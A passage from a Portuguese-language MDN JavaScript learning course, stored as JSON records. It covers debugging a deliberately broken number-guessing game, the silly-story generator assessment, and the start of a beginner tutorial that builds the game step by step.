jogo-numero-erros.html (veja-o em execução aqui).\n\n1. Para começar, abra a cópia local dentro do seu editor de texto favorito, e em seu navegador.\n2. Tente jogar o jogo - você notará que, quando você pressiona o botão \"Enviar palpite\", ele não funciona!\n\n> \n> \\*\\*Nota:\\*\\*Talvez você tenha sua própria versão de exemplo do jogo que não funciona, e pode querer consertá-la! Nós ainda gostaríamos que você trabalhasse no artigo com a nossa versão, para que possa aprender as técnicas que estamos ensinando aqui. Daí então você pode voltar e tentar consertar seu exemplo.\n> \n> \n> \n\nNeste ponto, vamos consultar o console do desenvolvedor para ver se identificamos qualquer erro de sintaxe, e então tentar consertá-lo. Você irá aprender como, logo abaixo.\n\nConsertando erros de sintaxe\n----------------------------\n\nAnteriormente no curso, nós fizemos você digitar alguns comandos simples de JavaScript no console JavaScript (se você não se lembra como, abra o link anterior). O que é ainda mais útil é o fato do console lhe mostrar mensagens de erro sempre que existir algo errado na sintaxe dentro do JavaScript enviado ao motor de JavaScript do navegador. Agora vamos à caça.\n\n1. Vá até a aba onde você tem aberto o arquivo `jogo-numero-erros.html` e abra o console JavaScript. Você deverá ver uma mensagem de erro sendo exibida:\n\n ![](/pt-BR/docs/Learn/JavaScript/First_steps/What_went_wrong/nao-e-uma-funcao.png)\n2. Esse é um erro bem fácil de identifcar, e o navegador lhe fornece várias informações úteis para lhe ajudar (a captura de tela acima foi feita no Firefox, mas os outros navegadores oferecem informações similares). Da esquerda para a direita, nós temos:\n    * Um \"x\" laranja para indicar que esse é um erro.\n    * Uma mensagem de erro para indicar o que está errado: \"TypeError: envioPalpite.addeventListener is not a function\"\n    * Um link \"Learn More\" que encaminha à uma página no MDN docs explicando o que esse erro significa em uma quantidade enorme de detalhes.\n    * O nome do arquivo JavaScript, que direciona à aba Debugger das ferramentas de desenvolvimento. Se você clicar nesse link, verá a linha exata onde o erro está destatacada.\n    * O número da linha onde o erro se encontra, e o número do caractere na linha onde o erro é encontrado primeiro. Neste caso nós temos, linha 86, caractere número 3.\n3. Se olharmos para a linha 86 em nosso nosso código de código, vamos encontrar a seguinte linha:\n\n```js\nenvioPalpite.addeventListener('click', conferir Palpite);\n```\n\n4. O erro diz o seguinte \"envioPalpite.addeventListener is not a function\", que significa envioPalpite.addeventListener não é uma funçao. Então provavelmente digitamos algo errado. Se você não estiver certo da digitação correta de parte da sintaxe, é uma boa ideia procurar a funcionalidade no MDN docs. A melhor forma de fazer isso atualmente é pesquisar por \"mdn *nome-da-funcionalidade*\" em seu mecanismo de buscas favorito. Aqui está um atalho para te salvar algum tempo nesse caso: `addEventListener()`.\n5. Então, olhando nessa essa página, o erro parece ser termos digitado o nome da função errado! Lembre-se de que o JavaScript diferencia letras maiúsculas de minúsculas, então qualquer diferença na digitação ou no uso de letras maiúsculas irá causar um erro. Alterar `addeventListener` para `addEventListener` deverá corrigir esse erro. Faça essa alteração no código do seu arquivo.\n\n**Nota:** Veja nossa página de referência TypeError: \"x\" is not a function para mais detalhes sobre esse erro.\n\n### Erros de sintaxe - segundo round\n\n1. Salve o arquivo e atualize a aba do navegador, e você poderá ver que o erro foi corrigido.\n2. Agora se você tentar enviar um palpite e pressionar o botão !Enviar palpite\" você verá... outro erro!\n\n ![](/pt-BR/docs/Learn/JavaScript/First_steps/What_went_wrong/variavel-e-nula.png)\n3. Dessa vez o erro informado é \"TypeError: baixoOuAlto is null\", na linha 78.\n\n**Nota:** `Null` é um valor especial que significa \"nada\", ou \"sem valor\". Então `baixoOuAlto` foi declarado e inicializado, mas não com algum valor significativo — não possui nenhum caractere ou valor.\n\n**Nota:** Esse erro não apareceu assim que a página foi carregada porque esse erro ocorreu dentro de uma função (dentro do bloco `conferirPalpite() { ... }` ). Como você irá aprender com mais detalhes no nosso artigo de funções mais tarde, o código localizado dentro de funções roda em um escopo separado do código presente fora das funções. Nesse caso, o código não estava rodando e o erro não estava aparecendo até a função `conferirPalpite()` ser executada na linha 86.\n4. Dê uma olhada na linha 78, e você verá o seguinte código:\n\n```js\nbaixoOuAlto.textContent = \"Seu palpite foi muito alto!\";\n```\n\n5. Essa linha está tentando definir a propriedade `textContent` (conteúdo de texto) da variável `baixoOuAlto` como uma sequência de texto, mas isso não está funcionando porque `baixoOuAlto` não contém o que deveria conter. Vamos ver o porquê — tente localizar outras instâncias de `baixoOuAlto` no código. A instância que aparece primeiro no código JavaScript é na linha 48:\n\n```js\nvar baixoOuAlto = document.querySelector(\"baixoOuAlto\");\n```\n\n6. Nesse ponto estamos tentando fazer com que a variável contenha uma referência a um elemento no documento HTML. Vamos conferir se o valor é `null` (nulo) depois que essa linha é executada. Adicione o seguinte código na linha 49:\n\n```js\nconsole.log(baixoOuAlto);\n```\n\n\n**Nota:** `console.log()` é uma função de debugging (correção de erros) realmente útil que exibe um valor na tela do console. Então ela irá imprimir o valor da variável `baixoOuAlto` na tela do console assim que tentarmos defini-la na linha 48.\n7. Salve o arquivo e o atualize no navegador, e você deverá ver agora o resultado do `console.log()` na tela do seu console.\n\n ![](/pt-BR/docs/Learn/JavaScript/First_steps/What_went_wrong/console-log-saida.png)\n Pois bem, nesse ponto o valor de `baixoOuAlto` e `null`, então definitivamente há um problema com a linha 48.\n8. Vamos pensar em qual poderia ser o problema. A linha 48 está usando um método `document.querySelector()` para pegar a referência do elemento selecionado com um seletor CSS selector (*CSS selector*). Olhando mais acima no nosso código, podemos encontrar o parágrafo em questão:\n\n```js\n<p class=\"baixoOuAlto\"></p>\n```\n\n9. Então nós precisamos de um seletor de classe aqui, que começa com um ponto (.), mas o seletor passado pelo método `querySelector()` na linha 48 não tem o ponto. Esse pode ser o problema! Tente mudar `baixoOuAlto` para `.baixoOuAlto` na linha 48.\n10. Tente salvar o arquivo e atualizá-lo no navegador de novo, e a sua declaração `console.log()` deverá retornar o elemento `<p>` que queremos. Ufa! Outro erro resolvido! Você pode deletar a linha do seu `console.log()` agora, ou mantê-la para referência posterior — a escolha é sua.\n\n**Nota:** Veja nossa página de referência TypeError: \"x\" is (not) \"y\" para mais detalhes sobre esse erro.\n\n### Erros de sintaxe - terceiro round\n\n1. Agora se você tentar jogar novamente, você deve ter mais sucesso — o jogo deve continuar normalmente, até você terminar, ou adivinhando o número, ou ficando sem mais chances.\n2. Nesse ponto, o jogo falha mais uma vez, e o mesmo erro do início é exibido — \"TypeError: botaoReinicio.addeventListener is not a function\"! No entanto, dessa vez é listado vindo da linha 94.\n3. Olhando a linha 94, é fácil de ver que nós cometemos o mesmo erro novamente. Só precisamos alterar mais uma vez `addeventListener` para `addEventListener`. Faça isso.\nUm erro de lógica\n-----------------\n\nNesse ponto, o jogo deve rodar normalmente, porém depois de jogá-lo algumas vezes você irá notar que o número \"aleatório\" que você tem que adivinhar é sempre igual a 1. Definitivamente não é como queremos que o jogo funcione!\n\nHá sem dúvida um problema na lógica do jogo em algum lugar — o jogo não está retornando nenhum erro; simplesmente não está funcionando corretamente.\n\n1. Procure pela variável `numeroAleatorio`, e as linhas onde o número aleatório é definido primeiro. A instância que armazena o número aleatório que queremos adivinhar no começo do jogo deve estar na linha 44 ou próximo a ela:\n\n```js\nvar numeroAleatorio = Math.floor(Math.random()) + 1;\n```\n\n2. E a linha que gera o número aleatório antes de cada jogo subsequente está na linha 113, ou próximo a ela:\n\n```js\nnumeroAleatorio = Math.floor(Math.random()) + 1;\n```\n\n3. Para checar se essas linhas são mesmo o problema, vamos recorrer ao nosso amigo `console.log()` de novo — insira a seguinte linha diretamente abaixo de cada uma das duas linhas:\n\n```js\nconsole.log(numeroAleatorio);\n```\n\n4. Salve o arquivo e atualize o navegador, então jogue algumas vezes — você verá que o `numeroAleatorio` é igual a 1 cada vez em que é exibido no console.\n### Trabalhando através da lógica\n\nPara consertar isso, vamos considerar como essa linha está trabalhando. Primeiro, nós invocamos `Math.random()`, que gera um número decimal aleatório entre 0 e 1, ex. 0.5675493843.\n\n\n```js\nMath.random();\n```\n\n\nEm seguida, passamos o resultado invocando `Math.random()` através de `Math.floor()`, que arredonda o número passado para o menor número inteiro mais próximo. E então adicionamos 1 ao resultado:\n```\n\nMath.floor(Math.random()) + 1\n```\n\n\nArredondando um número decimal aleatório entre 0 e 1 para baixo irá sempre retornar 0, então adicionando 1 a ele sempre retornará 1. Precisamos multiplicar o número aleatório por 100 antes de o arredondarmos para baixo. O código seguinte nos daria um número aleatório entre 0 and 99:\n\n\n```js\nMath.floor(Math.random() \\* 100);\n```\n\n\nPor isso, queremos adicionar 1, para nos dar um número aleatório entre 1 e 100:\n\n\n```js\nMath.floor(Math.random() \\* 100) + 1;\n```\n\n\nTente atualizar as duas linhas dessa forma, então salve e atualize o navegador — o jogo deve agora funcionar como nós queremos que funcione!\n\nOutros erros comuns\n-------------------\n\nExistem outros erros comuns com os quais você irá esbarrar em seu código. Essa seção destaca a maioria deles.\n\n### *SyntaxError: missing ; before statement*\n\nErro de sintaxe: faltando \";\" antes da declaração. Esse erro geralmente significa que você deixou de inserir um ponto e vírgula ao final de uma de suas linhas de código, mas algumas vezes pode ser mais crítico. Por exemplo, se mudarmos essa linha (número 58) dentro da função `conferirPalpite()`:\n\n\n```js\nvar palpiteUsuario = Number(campoPalpite.value);\n```\n\n\npara\n\n\n```js\nvar palpiteUsuario === Number(campoPalpite.value);\n```\n\n\nExibe esse erro porque pensa que você está fazendo algo diferente. Você deve se certificar de não misturar o operador de atribuição (`=`) — que configura uma variável para ser igual a determinado valor — com o operador de igualdade restrita (`===`), que testa se um valor é exatamente igual a outro, e retorna um resultado `true`/`false` (verdadeiro ou falso).\n\n**Nota:** Veja nossa página de referência SyntaxError: missing ; before statement (en-US) para mais detalhes sobre esse erro.\n\n### O programa sempre diz que você ganhou, independentemente do palpite que insira\n\nIsso pode ser outro sintoma de confusão entre o operador de atribuição e o operador de igualdade restrita. Por exemplo, se nós quiséssemos essa linha dentro de `conferirPalpite()`:\n\n\n```js\nif (palpiteUsuario === numeroAleatorio) {\n```\n\n\npara\n\n\n```js\nif (palpiteUsuario = numeroAleatorio) {\n```\n\n\no teste retornaria sempre `true` (verdadeiro), causando o programa a reportar que o jogo foi vencido. Tome cuidado!\n\n### *SyntaxError: missing ) after argument list*\n\nErro de sintaxe: faltando \")\" depois de listar uma declaração. Esse é bem simples — geralmente significa que deixamos de fechar o parênteses no final ao invocar uma função/método.\n\n**Nota:** Veja nossa página de referência SyntaxError: missing ) after argument list para mais detalhes sobre o erro.\n\n### *SyntaxError: missing : after property id*\n\nErro de sintaxe: faltando \":\" depois da propriedade id. Esse erro geralmente se relaciona à formação incorreta de um objeto de JavaScript, mas nesse caso o obtivemos alterando:\n\n\n```js\nfunction conferirPalpite() {\n```\n\n\npara\n\n\n```js\nfunction conferirPalpite( {\n```\n\n\nIsso levou o navegador a pensar que estávamos tentando passar todo o conteúdo da função como se fosse um argumento dessa função. Seja cuidadoso com esses parênteses!\n\n### *SyntaxError: missing } after function body*\n\nErro de sintaxe: faltando \"}\" depois do corpo da função. Isso é fácil — geralmente significa que você deixou de colocar uma das chaves de uma função ou de uma estrutura condicional. Nós obtemos esse erro deletando uma das chaves de fechamento próximas ao final da função `conferirPalpite()`.\n\n### *SyntaxError: expected expression, got 'string'* ou *SyntaxError: unterminated string literal*\n\nErro de sintaxe: esperado uma expressão, obtido uma 'string' e Erro de sintaxe: string literal não terminada. Esses erros geralmente significam que você deixou de colocar aspas no início ou no final da declaração de uma cadeia de texto. No primeiro erro acima, '*string'* seria substituído pelo(s) caractere(s) encontrado(s) pelo navegador ao invés da aspa no início de uma cadeia de texto. O segundo erro quer dizer que a cadeia de texto não foi finalizada com o caractere de aspa.\n\nPara todos esses erros, pense em como nós abordamos os exemplos em que olhamos no passo a passo. Quando um erro surge, olha o número da linha que é informado, vá até essa linha e veja se consegue localizar o que há de errado. Mantenha em mente que o erro não estará necessariamente nessa linha, e também que o erro pode não ter sido causado exatamente pelo mesmo problema que citamos acima!\n\n**Nota:** Veja nossas páginas de referência SyntaxError: Unexpected token e SyntaxError: unterminated string literal para mais detalhes sobre esses erros.\n\nSumário\n-------\n\nEntão aqui temos, o básico de como resolver erros em programas simples de JavaScript. Não será sempre tão fácil de solucionar o que está errado em seu código, mas pelo menos isso irá te poupar algumas horas de sono e lhe permitir progredir um pouco mais rápido quando as coisas não saírem certas no início da sua jornada de aprendizado.\n\nVeja também\n-----------\n\n* Há muitos outros tipos de erros que não listamos aqui; estamos compilando uma referência que explica o que eles significam em detalhes — veja a referência de erros do JavaScript.\n* Se você se deparar com qualquer erro em seu código que não tenha certeza de como resolver mesmo depois de ler este artigo, você pode pedir ajuda! Pergunte na Área de Discussão e Aprendizagem, ou no canal IRC #mdn em Mozilla IRC. Nos diga quel é o seu erro, e nós iremos tentar te ajudar. Uma amostra do seu código também seria útil.\n* Anterior\n* Menu: First steps\n* Próxima"}
{"title":"Gerador de histórias bobas - Aprendendo desenvolvimento web","text":"Gerador de histórias bobas\n==========================\n\n* Anterior\n* Menu: First steps\n\nNesta avaliação, você será encarregado de utilizar parte do conhecimento que você adquiriu nos artigos deste módulo e aplicá-lo para criar um aplicativo divertido que gera histórias bobas aleatórias. Divirta-se!\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Antes de tentar esta avaliação, você já deve ter trabalhado com todos os\n artigos deste módulo.\n  |\n| Objetivo: | \n Testar a compreensão dos fundamentos de JavaScript, como variáveis,\n números, operadores, cadeias de caracteres e matrizes.\n  |\n\nPonto de partida\n----------------\n\nPara começar esta avaliação, você deve:\n\n* Pegue o arquivo HTML para o exemplo e salve uma cópia local deste arquivo como index.html em um novo diretório em algum local do seu computador. Este arquivo ainda contém o CSS para estilizar o exemplo contido no arquivo.\n* Vá para a página que contém o texto bruto e matenha-a aberta em uma aba separada do navegador em algum lugar. Você precisará dela mais tarde.\n\n**Nota:** Alternativamente, você pode utilizar um site como JSBin ou Thimble para fazer a sua avaliação. Você pode colar o HTML, CSS e javaScript em um desses editores online. Se o editor online que você estiver utilizando não possuir um painel separado para javaScript, sinta-se a vontade para inseri-lo em um elemento <script> dentro da página HTML.\n\nResumo do projeto\n-----------------\n\nVocê recebeu algum HTML/CSS em bruto e algumas strings de texto e funções de JavaScript; Você precisa escrever o JavaScript necessário para transformar este em um programa funcional, que faz o seguinte:\n\n* Gera uma história boba quando o botão \"Gerar história aleatória\" é pressionado.\n* Substitui o nome padrão \"Bob\" na história com um nome personalizado, somente se um nome personalizado for inserido no campo de texto \"Inserir nome personalizado\" antes que o botão de geração seja pressionado.\n* Gera outra história boba aleatória se você pressionar novamente o botão (e novamente...)\n\nA seguinte captura de tela mostra um exemplo do que o programa concluído deve produzir:\n\n![](/pt-BR/docs/Learn/JavaScript/First_steps/Silly_story_generator/assessment-1.png)\n\nPara dar-lhe mais uma ideia, dê uma olhada no exemplo concluído (sem espreitar o código fonte!)\n\nPassos para completar\n---------------------\n\nAs seções a seguir descrevem o que você precisa fazer.\n\nConfiguração básica:\n\n1. Crie um novo arquivo chamado main.js, no mesmo diretório que o arquivo index.html.\n2. Aplique o arquivo JavaScript externo ao seu HTML inserindo um elemento `<script>` no seu HTML referenciando o main.js. Coloque-o antes da etiqueta de fechamento `<body>`.\n\nVariáveis e funções iniciais:\n\n1. No arquivo de texto cru, copie todo o código abaixo do cabeçalho \"1. COMPLETE VARIABLE AND FUNCTION DEFINITIONS\" e cole-o no topo do arquivo main.js. Isso dá a você três variáveis que armazenam referências ao campo de texto \"Inserir nome personalizado\" (customName), o botão \"Gerar história aleatória\" (randomizar), E o elemento `<p>` na parte inferior do corpo HTML para onde a história será copiada (história), respectivamente. Além disso, você tem uma função chamada randomValueFromArray () que recebe um vetor e retorna um dos itens armazenados dentro do vetor aleatoriamente.\n2. Agora, veja a segunda seção do arquivo de texto bruto - \"2. RAW TEXT STRINGS\". Ele contém strings de texto que atuarão como entrada em nosso programa. Gostaríamos que você armazenasse essas strings dentro de variáveis no main.js:\n    1. Armazene a primeira, grande e longa linha de texto dentro de uma variável chamada storyText.\n    2. Armazene o primeiro conjunto de três strings dentro de um vetor chamado insertX.\n    3. Armazene o segundo conjunto de três strings dentro de um vetor chamado insertY.\n    4. Armazene o terceiro conjunto de três strings dentro de um vetor chamado insertZ.\n\nColocando o manipulador de eventos e a função incompleta:\n\n1. Agora volte ao arquivo de texto bruto.\n2. Copie o código encontrado abaixo do cabeçalho \"3. EVENT LISTENER AND PARTIAL FUNCTION DEFINITION\" E cole ele na parte inferior do arquivo main.js. Isto:\n    * Adicione um ouvinte de evento de clique à variável randomize para que, quando o botão que ele representa, for clicado, a função `result()` seja executada.\n    * Adicione a função `result()` parcialmente concluída ao seu código. Para o restante da avaliação, você estará preenchendo linhas dentro desta função para completá-la e fazê-la funcionar corretamente.\n\nCompletando a função `result()`:\n\n1. Crie uma nova variável chamada `newStory`, e defina seu valor como igual a `storyText`. Isso é necessário para que possamos criar uma nova história aleatória toda vez que o botão for pressionado e a função for executada. Se fizermos alterações diretamente no `storyText`, só poderemos gerar uma nova história uma vez.\n2. Crie três novas variáveis chamadas `xItem`, `yItem`, e `zItem`, e torne-as iguais ao resultado da chamada da função `randomValueFromArray()` em seus três arrays (o resultado em cada caso será um item aleatório de cada array em que é chamado). Por exemplo, você pode chamar a função e fazer com que ela retorne uma string aleatória de `insertX` escrevendo `randomValueFromArray(insertX)`.\n3. Em seguida, queremos substituir os três espaços reservados na variável `newStory` — `:insertx:`, `:inserty:`, e `:insertz:` — com strings armazenadas em `xItem`, `yItem`, e `zItem`. Existe um método de string específico que irá ajudá-lo aqui - em cada caso, faça a chamada para o método igual a `newStory`,então cada vez que é chamado, newStory é igual a si mesmo, mas com substituições feitas. Assim, cada vez que o botão é pressionado, esses espaços reservados são substituídos por uma string boba aleatória. Como uma dica adicional, o método em questão substitui apenas a primeira ocorrência da subseqüência de caracteres encontrada, portanto, talvez seja necessário fazer uma das chamadas duas vezes.\n4. Dentro do primeiro bloco `if`, adicione outra chamada de método de substituição de string para substituir o nome 'Bob' encontrado na string `newStory` pela variável `name`. Neste bloco estamos dizendo \"Se um valor foi inserido na entrada de texto `customName`, substitua Bob na história por esse nome personalizado \".\n5. Dentro do segundo bloco `if`, estamos verificando se o botão de opção `uk` foi selecionado. Se assim for, converteremos os valores de peso e temperatura na história de libras e Fahrenheit em graus centígrados. O que você precisa fazer é o seguinte:\n    1. Procure as fórmulas para converter libras em pedras e Fahrenheit em centígrados.\n    2. Dentro da linha que define a variável `weight`, substitua 300 por um cálculo que converta 300 libras em pedras. Concatene `' stone'` no final do resultado da chamada geral `Math.round()`.\n    3. Dentro da linha que define a variável `temperature`, substitua 94 por um cálculo que converta 94 graus Fahrenheit em graus centígrados. Concatene `' centigrade'` no resultado da chamada geral `Math.round()`.\n    4. Apenas sob as duas definições de variáveis, adicione mais duas linhas de substituição de string que substituem '94 fahrenheit' pelo conteúdo da variável `temperature`, e '300 libras' com o conteúdo da variável `weight`.\n6. Finalmente, na segunda e última linha da função, torne a propriedade`textContent` da variável `story` (que faz referência ao parágrafo) igual a `newStory`.\nDicas e sugestões\n-----------------\n\n* Você não precisa editar o HTML de nenhuma maneira, exceto para adicionar o JavaScript ao seu HTML.\n* Se você não tiver certeza se o JavaScript é aplicado ao seu HTML corretamente, tente remover todo o restante do arquivo JavaScript temporariamente, adicionando um pouco de JavaScript que você sabe que criará um efeito óbvio, salvando e atualizando. Por exemplo, o seguinte transforma o plano de fundo do elemento `<html>` em vermelho - para que a janela inteira do navegador fique vermelha se o JavaScript for aplicado corretamente:\n\n```js\ndocument.querySelector(\"html\").style.backgroundColor = \"red\";\n```\n\n* Math.round() é um método JavaScript integrado que simplesmente arredonda o resultado de um cálculo para o número inteiro mais próximo.\nAvaliação\n---------\n\nSe você estiver seguindo esta avaliação como parte de um curso organizado, você está apto a entregar seu trabalho ao seu professor/mentor para avaliação. Se você é auto-didata, então você pode consultar o guia de marcação com bastante facilidade perguntando no tópico do Discurso da área de aprendizagem, ou no no canal #mdn IRC no IRC Mozilla. Tente realizar o exercício primeiro — não há nada a ganhar com a trapaça!\n\n* Anterior\n* Menu: First steps"}
{"title":"Um primeiro mergulho no JavaScript - Aprendendo desenvolvimento web","text":"Um primeiro mergulho no JavaScript\n==================================\n\n* Anterior\n* Menu: First steps\n* Próxima\n\nAgora você poderá aprender um pouco sobre a Teoria do Javascript e o que você poderá fazer com ele. Nós vamos lhe fornecer aqui um Curso rápido sobre as características básicas do JavaScript através de um tutorial completamente prático. Você irá construir um simples jogo de \"Adivinhe o número\", passo a passo.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimentos básicos de informática, uma compreensão básica de HTML e\n CSS, uma compreensão do que é JavaScript.\n  |\n| Objetivo: | \n Ter um primeiro bit de experiência em escrever um pouco de JavaScript,\n e adquirir pelo menos uma compreensão básica do que envolve escrever\n um programa em JavaScript.\n  |\n\nNós não esperamos que você entenda todo o código imediatamente - Apenas queremos ensinar-lhe os melhores conceitos por enquanto e dar a você uma idéia de como o JavaScript (e outras linguagens de programação) funcionam. Em artigos posteriores você vai rever todos esses recursos com muito mais detalhes!\n\n**Nota:** Muitos dos recursos de código que você verá no JavaScript são iguais aos de outra linguagem de programação - funções, loops, etc. A sintaxe do código parece diferente, mas os conceitos ainda são praticamente os mesmos.\n\nPensando como um Programador\n----------------------------\n\nUma das coisas mais difíceis de aprender na programação não é a sintaxe que você precisa aprender, mas como aplicá-la para resolver problemas do mundo real. Você precisa começar a pensar como um programador - isso geralmente envolve olhar para as descrições do que seu programa precisa fazer e analisar como eles podem ser aplicados na solução real (prática), quais recursos de código são necessários para alcançar esse objetivo, e como fazê-los trabalhar em conjunto.\n\nIsso requer um mistura de trabalho duro, experiência com a sintaxe de programação utilizada e prática, além de um pouco de criatividade, é claro. Quanto mais você programa, melhor programador se torna. Nós não prometemos transformar seu cérebro em um \"cérebro de programador\" em 5 minutos, mas vamos te dar todas as oportunidades para pensar na prática como um programador ao longo deste curso.\n\nCom isso em mente, vejamos o exemplo que estaremos construindo neste artigo e analisaremos o processo geral de dissecá-lo em tarefas tangíveis.\n\nExemplo — Jogo adivinhe um número\n---------------------------------\n\nNeste artigo vamos mostrar a você como construir este simples jogo, que pode ser visto abaixo:\n```\n\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>Jogo adivinhe o número</title>\n    <style>\n html {\n font-family: sans-serif;\n }\n\n body {\n width: 50%;\n max-width: 800px;\n min-width: 480px;\n margin: 0 auto;\n }\n\n .lastResult {\n color: white;\n padding: 3px;\n }\n </style>\n  </head>\n\n  <body>\n    <h1>Jogo Adivinhe um número</h1>\n    <p>\n      Selecionamos um número aleatório entre 1 e 100. Veja se consegue adivinhar\n      em 10 chances ou menos. Nós lhe diremos se seu palpite está com valor alto\n      ou baixo.\n    </p>\n    <div class=\"form\">\n      <label for=\"guessField\">Digite seu palpite: </label\n ><input type=\"text\" id=\"guessField\" class=\"guessField\" />\n      <input type=\"submit\" value=\"Enviar palpite\" class=\"guessSubmit\" />\n    </div>\n    <div class=\"resultParas\">\n      <p class=\"guesses\"></p>\n      <p class=\"lastResult\"></p>\n      <p class=\"lowOrHi\"></p>\n    </div>\n  </body>\n  <script>\n // Seu JavaScipt vem aqui\n var randomNumber = Math.floor(Math.random() \\* 100) + 1;\n var guesses = document.querySelector(\".guesses\");\n var lastResult = document.querySelector(\".lastResult\");\n var lowOrHi = document.querySelector(\".lowOrHi\");\n var guessSubmit = document.querySelector(\".guessSubmit\");\n var guessField = document.querySelector(\".guessField\");\n var guessCount = 1;\n var resetButton;\n\n function checkGuess() {\n var userGuess = Number(guessField.value);\n if (guessCount === 1) {\n guesses.textContent = \"Palpites anteriores: \";\n }\n\n guesses.textContent += userGuess + \" \";\n\n if (userGuess === randomNumber) {\n lastResult.textContent = \"Parabéns! Seu número está certo!\";\n lastResult.style.backgroundColor = \"green\";\n lowOrHi.textContent = \"\";\n setGameOver();\n } else if (guessCount === 10) {\n lastResult.textContent = \"!!!FIM DE JOGO!!!\";\n lowOrHi.textContent = \"\";\n setGameOver();\n } else {\n lastResult.textContent = \"Errado!\";\n lastResult.style.backgroundColor = \"red\";\n if (userGuess < randomNumber) {\n lowOrHi.textContent = \"Seu palpite está muito baixo!\";\n } else if (userGuess > randomNumber) {\n lowOrHi.textContent = \"Seu palpite está muito alto!\";\n }\n }\n\n guessCount++;\n guessField.value = \"\";\n }\n\n guessSubmit.addEventListener(\"click\", checkGuess);\n\n function setGameOver() {\n guessField.disabled = true;\n guessSubmit.disabled = true;\n resetButton = document.createElement(\"button\");\n resetButton.textContent = \"Iniciar novo jogo\";\n document.body.appendChild(resetButton);\n resetButton.addEventListener(\"click\", resetGame);\n }\n\n function resetGame() {\n guessCount = 1;\n var resetParas = document.querySelectorAll(\".resultParas p\");\n for (var i = 0; i < resetParas.length; i++) {\n resetParas[i].textContent = \"\";\n }\n\n resetButton.parentNode.removeChild(resetButton);\n guessField.disabled = false;\n guessSubmit.disabled = false;\n guessField.value = \"\";\n guessField.focus();\n lastResult.style.backgroundColor = \"white\";\n randomNumber = Math.floor(Math.random() \\* 100) + 1;\n }\n </script>\n</html>\n```\n\n\nVá em frente e jogue por um tempo para se familiarizar com o jogo antes de continuar.\n\nVamos imaginar que o seu chefe te deu as seguintes diretrizes para criar este jogo:\n\n> \n> Quero que você crie um jogo simples do tipo adivinhe um número. Ele deve gerar um número aleatório de 1 a 100, depois desafiar o jogador a adivinhar o número em 10 rodadas. A cada rodada deve ser dito ao jogador se ele está certo ou errado, se estiver errado, deve ser dito se o palpite é muito baixo ou muito alto. Também deve ser mostrado ao jogador os números que ele tentou adivinhar anteriormente. O jogo termina se o jogador acertar o número ou acabarem o número de tentativas. Quando o jogo acabar, deve ser dado ao jogador a opção de jogar novamente.\n> \n> \n> \n\nOlhando para o enunciado, a primeira coisa que devemos fazer é quebrá-lo em pequenas tarefas, da forma mais parecida com o pensamento de um programador quanto possível:\n\n1. Gerar um número aleatório entre 1 e 100.\n2. Gravar o número do turno que o jogador está. Iniciar em 1.\n3. Dar ao jogador uma forma de adivinhar o número.\n4. Após a tentativa ter sido submetida, primeiro gravar em algum lugar para que o usuário possa ver as tentativas anteriores.\n5. Depois, verificar se o palpite está correto.\n6. Se estiver correto:\n    1. Escrever mensagem de parabéns.\n    2. Impedir que o jogador insira mais respostas (isso pode bugar o jogo).\n    3. Mostrar controle que permita ao jogador reiniciar o jogo.\n7. Se o palpite estiver errado e o jogador ainda tem turnos sobrando:\n    1. Dizer ao jogador que ele está errado.\n    2. Permitir que ele insira outra resposta.\n    3. Incrementar o número do turno em 1.\n8. Se o jogador está errado mas não tem turnos sobrando:\n    1. Dizer ao jogador que o jogo acabou.\n    2. Impedir que o jogador insira mais respostas (isso pode bugar o jogo).\n    3. Mostrar controle que permita ao jogador reiniciar o jogo.\n9. Quando reiniciar, tenha certeza de resetar todas as variáveis e a interface do jogo, então volte para o passo 1.\n\nEntão vamos em frente, olhando como podemos transformar esses passos em código, construindo esse exemplo e explorando as ferramentas do JavaScript ao longo do caminho.\n\n### Configuração Inicial\n\nPara iniciar este tutorial, gostaríamos que você fizesse uma cópia do arquivo jogo-adivinhe-o-numero-inicio.html (ver demonstração). Abra-o em um editor de texto e também no seu browser. No momento você vai apenas ver um simples cabeçalho, parágrafo de instruções e um formulário para entrada de informações, mas o formulário não fará nada por enquanto.\n\nO lugar em que começaremos a escrever nosso código será dentro da tag `<script>` na parte inferior do HTML:\n\n\n```html\n<script>\n // Seu JavaScript vai aqui\n</script>\n```\n\n### Adicionando variáveis para armazenar nossos dados\n\nVamos começar. Primeiramente, adicione as seguintes linhas na sua tag `<script>` :\n\n\n```js\nvar numeroAleatorio = Math.floor(Math.random() \\* 100) + 1;\n\nvar palpites = document.querySelector(\".palpites\");\nvar ultimoResultado = document.querySelector(\".ultimoResultado\");\nvar baixoOuAlto = document.querySelector(\".baixoOuAlto\");\n\nvar envioPalpite = document.querySelector(\".envioPalpite\");\nvar campoPalpite = document.querySelector(\".campoPalpite\");\n\nvar contagemPalpites = 1;\nvar botaoReinicio;\n```\n\n\nAqui estamos setando as variáveis que precisamos para guardar os dados que nosso programa irá utilizar. Variáveis são basicamente recipientes para valores (como números, ou strings ou textos). Variáveis são criadas com a palavra-chave `var` seguida de um nome para sua variável. Você pode atribuir um valor para sua variável com um sinal de igual (`=`) seguido do valor que você quer dar a ela.\n\nNo nosso exemplo:\n\n* À primeira variável — `numeroAleatorio` — é atribuído um número aleatório entre 1 e 100, calculado usando um algoritmo matemático.\n* As próximas três variáveis são criadas para guardar uma referência para os parágrafos resultantes em nosso HTML, e são usadas para inserir valores nos parágrafos no código:\n\n```html\n<p class=\"palpites\"></p>\n<p class=\"ultimoResultado\"></p>\n<p class=\"baixoOuAlto\"></p>\n```\n\n* As próximas duas variáveis armazenam referências para o campo de texto e o botão de envio e são usados para controlar o envio do palpite.\n\n```html\n<label for=\"campoPalpite\">Digite seu palpite: </label\n><input type=\"text\" id=\"campoPalpite\" class=\"campoPalpite\" />\n<input type=\"submit\" value=\"Enviar palpite\" class=\"envioPalpite\" />\n```\n\n* As últimas duas variáveis (contagemPalpites e botaoReinicio) são usadas para armazenar a contagem dos palpites do usuário, e o outro é uma referência para o botão de reset, que não existe ainda (mas irá existir).\n\n**Nota:** Você irá aprender muito mais sobre variáveis a partir do próximo artigo.\n\n### Funções\n\nEm seguida, adicione o seguinte código abaixo do JavaScript anterior:\n\n\n```js\nfunction conferirPalpite() {\n  alert(\"Eu sou um placeholder\");\n}\n```\n\n\nFunções são blocos reutilizáveis de código que você pode escrever uma vez e executá-lo de novo e de novo, eliminando a necessidade de repetir o código todas as vezes. Isso é realmente útil. Há várias formas de se definir funções, mas, por agora, vamos nos 